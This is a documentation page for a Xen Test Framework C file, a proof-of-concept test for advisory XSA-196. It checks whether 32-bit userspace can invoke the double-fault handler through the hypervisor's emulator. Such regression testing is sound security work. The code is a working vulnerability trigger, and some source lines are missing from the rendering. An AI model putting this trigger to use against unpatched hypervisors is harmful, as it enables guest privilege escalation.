Xen Test Framework
main.c
Go to the documentation of this file.
1
25#include <xtf.h>
26
27const char test_title[] = "XSA-196 PoC";
28
29bool test_needs_fep = true;
30
32asm(".align 16;"
33 "custom_doublefault_handler:"
34 /* Fake up "return EXINFO_SYM(DF, 0);" */
35 "mov $(1 << 31 | " STR(X86_EXC_DF) " << 16), %eax;"
36 "iretq;"
37 );
38
39static const struct xtf_idte idte = {
41 .cs = __KERN_CS,
42};
43
44static unsigned long __user_text compat_userspace(void)
45{
46 exinfo_t fault = 0;
47
48 asm volatile (/* Drop into a 32bit compat code segment. */
49 "push $%c[cs32];"
50 "push $1f;"
51 "lretq; 1:"
52
53 /* Force `int $8` through the emulator. */
54 ".code32;"
55 "start_32bit:;"
57 "1: int $%c[df]; 2:"
58 _ASM_EXTABLE_HANDLER(1b, 2b, %P[rec])
59
60 /* Return to 64bit. */
61 "ljmpl $%c[cs], $1f;"
62 "end_32bit:;"
63
64 ".code64; 1:"
65 : "+a" (fault)
66 : [df] "i" (X86_EXC_DF),
67 [cs32] "i" (__USER_CS32),
68 [cs] "i" (__USER_CS),
69 [rec] "p" (ex_record_fault_eax));
70
71 return fault;
72}
73
74void test_main(void)
75{
76 /*
77 * Sanity check the preconditions for this PoC working. These settings
78 * are very common.
79 */
80 ASSERT(idt[X86_EXC_OF].dpl == 3);
81 ASSERT(idt[X86_EXC_DF].dpl == 0);
82
83 /* Hook the custom doublefault handler. */
85
87
88 switch ( fault )
89 {
90 case EXINFO_SYM(GP, EXC_EC_SYM(DF, IDT)):
91 xtf_success("Success: #DF DPL was checked correctly\n");
92 break;
93
94 case EXINFO_SYM(DF, 0):
95 xtf_failure("Fail: Userspace managed to invoke #DF\n");
96 break;
97
98 default:
99 xtf_error("Error: Unexpected fault %#x\n", fault);
100 break;
101 }
102}
103
104/*
105 * Local variables:
106 * mode: C
107 * c-file-style: "BSD"
108 * c-basic-offset: 4
109 * tab-width: 4
110 * indent-tabs-mode: nil
111 * End:
112 */
#define _ASM_XEN_FEP
Xen Forced Emulation Prefix.
Definition: xen.h:150
bool ex_record_fault_eax(struct cpu_regs *regs, const struct extable_entry *ex)
Record the current fault in %eax.
Definition: extable.c:8
#define __user_text
Definition: compiler.h:33
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:110
const char test_title[]
The title of the test.
Definition: main.c:24
#define EXINFO_SYM(exc, ec)
Definition: exinfo.h:29
unsigned int exinfo_t
Packed exception and error code information.
Definition: exinfo.h:19
int xtf_set_idte(unsigned int vector, const struct xtf_idte *idte)
Set up an IDT Entry, in a guest agnostic way.
Definition: traps.c:73
#define _ASM_EXTABLE_HANDLER(fault, fixup, handler)
Create an exception table entry with custom handler.
Definition: extable.h:38
#define ASSERT(cond)
Definition: lib.h:14
static unsigned long exec_user(unsigned long(*fn)(void))
Definition: lib.h:62
#define STR(x)
Stringise an expression, expanding preprocessor tokens.
Definition: macro_magic.h:17
#define GP
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
#define X86_EXC_OF
Definition: processor.h:106
#define X86_EXC_DF
Definition: processor.h:110
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
A guest agnostic represention of IDT information.
Definition: idt.h:27
unsigned int dpl
Definition: idt.h:29
unsigned int cs
Definition: idt.h:29
unsigned long addr
Definition: idt.h:28
#define EXC_EC_SYM(exc,...)
Create an exception selector based error code using mnemonics, with implicit X86_EC_IDT.
bool test_needs_fep
Boolean indicating whether the test is entirely predicated on the available of the Force Emulation Pr...
Definition: main.c:34
static unsigned long compat_userspace(void)
Definition: main.c:44
static const struct xtf_idte idte
Definition: main.c:39
void custom_doublefault_handler(void)